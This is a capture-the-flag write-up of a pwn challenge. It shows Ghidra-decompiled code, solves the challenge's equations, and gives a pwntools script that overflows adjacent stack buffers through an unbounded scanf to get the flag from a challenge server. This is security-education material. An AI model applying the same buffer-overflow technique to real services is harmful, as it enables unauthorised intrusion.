In this pwn challenge we got a binary challenge1 as well as the online version with a flag, listening on the CTF server.

A good chance to try out Ghidra, the NSA RE tool! So I launched it up, analyzed the binary, and took a look into the decompiled main function. It was very straightforward, and after renaming a few variables for clarity we can easily see the conditions we need to satisfy.

The decompiled code was as follows:

undefined8 main(void)

{
  int iVar1;
  int x;
  int y;
  int z;
  time_t tVar2;
  size_t sVar3;
  FILE *__stream;
  long in_FS_OFFSET;
  int local_9c;
  char first_input [10];
  char second_input [10];
  char third_input [10];
  char local_58 [56];
  long local_20;
  uint first;
  uint second;
  uint third;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  iVar1 = rand();
  first = (iVar1 % 10000) * -2;
  iVar1 = rand();
  second = (iVar1 % 10000) * -2;
  iVar1 = rand();
  third = (iVar1 % 10000) * -2;
  puts("Can you cook my favourite food using these ingredients :)");
  printf("%d ; %d ; %d ;\n",(ulong)first,(ulong)second,(ulong)third);
  __isoc99_scanf(&DAT_00100de2,first_input);
  local_9c = 0;
  do {
    sVar3 = strlen(first_input);
    if (sVar3 <= (ulong)(long)local_9c) {
      x = atoi(first_input);
      y = atoi(second_input);
      z = atoi(third_input);
      if (first == y + x) {
        if (second == z + y) {
          if (third == x + z) {
            __stream = fopen("flag.txt","r");
            if (__stream == (FILE *)0x0) {
              fwrite("\nflag.txt doesn\'t exist.\n",1,0x19,stderr);
                    /* WARNING: Subroutine does not return */
              exit(0);
            }
            fgets(local_58,0x32,__stream);
            printf("That\'s yummy.... Here is your gift:\n%s",local_58);
          }
          else {
            fail();
          }
        }
        else {
          fail();
        }
      }
      else {
        fail();
      }
LAB_00100ccd:
      if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    if (((first_input[(long)local_9c] < '0') || ('9' < first_input[(long)local_9c])) &&
       (first_input[(long)local_9c] != '-')) {
      puts("Invalid input :( ");
      goto LAB_00100ccd;
    }
    local_9c = local_9c + 1;
  } while( true );
}

And the conditions to satisfy:

first   = y + x
second  = z + y
third   = x + z

So with example run of challenge1 code:

▶ ./challenge1
Can you cook my favourite food using these ingredients :)
-14880 ; -7146 ; -5644 ;

first being -14880, second being -7146 and third being -5644 would mean that:

x  = -14880 - y
y  = -7146 - z
z  = -5644 - x

So:

y  = -7146 - (-5644 - x)
y  = -7146 - (-5644 - (-14880 -y))
y  = -7146 + 5644 - 14880 - y
2y = -7146 + 5644 - 14880
2y = -16382
y  = -8191

So:

x  = -14880 - (-8191)
x  = -6689

z  = -5644 - (-6689)
z  = 1045

After solving the algorithm, we need to figure out how to send in the values. From the decompile, we can see that the (now renamed) varibles for first_input, second_input and third_input are initialized one after another in the stack. This means that we can (mis)use the nonexistent buffer length check of __isoc99_scanf to populate all of these variables even though only the first one is read into.

To populate the variables with usable values, we need to terminate each one with null byte, and for this, it’s practical to just pad the values with null bytes up to the initialized array length of 10 for each of the vars.

The resulting exploit code using pwnlib looks like:

from pwn import *                                                                
                                                                                 
class FeedMe(object):                                                            
    def __init__(self, inputdata):                                               
        # Parse and normalize the input data                                     
        vals = inputdata.split(";")                                              
        res = []                                                                 
        for i in vals:                                                           
            if i:                                                                
                res.append(i.strip())                                            
        self.first = int(res[0])                                                 
        self.second = int(res[1])                                                
        self.third = int(res[2])                                                 
                                                                                 
    def solve(self):                                                             
        # Get x, y and z                                                         
        y = (self.second - self.third + self.first) / 2                          
        x = self.first - y                                                       
        z = self.third - x                                                       
        # Pad the values with null bytes to terminate the string and fill the buffer
        return str(x).ljust(10, "\x00") + str(y).ljust(10, "\x00") + str(z).ljust(10, "\x00")
                                                                                 
                                                                                 
c = remote("159.89.166.12", 9800)                                                
c.recvuntil(":)")                                                                
                                                                                 
indata = c.recv(2048, timeout=1)                                                 
feeder = FeedMe(indata)                                                          
retval = feeder.solve()                                                          
c.send(retval+"\n")                                                              
print(c.recv(2048, timeout=1))

And running it gets us our flag:

▶ python feedme.py
[+] Opening connection to 159.89.166.12 on port 9800: Done
That's yummy.... Here is your gift:
pctf{p1zz4_t0pp3d_w1th_p1n34ppl3_s4uc3}

[*] Closed connection to 159.89.166.12 port 9800

Pystyy vetää!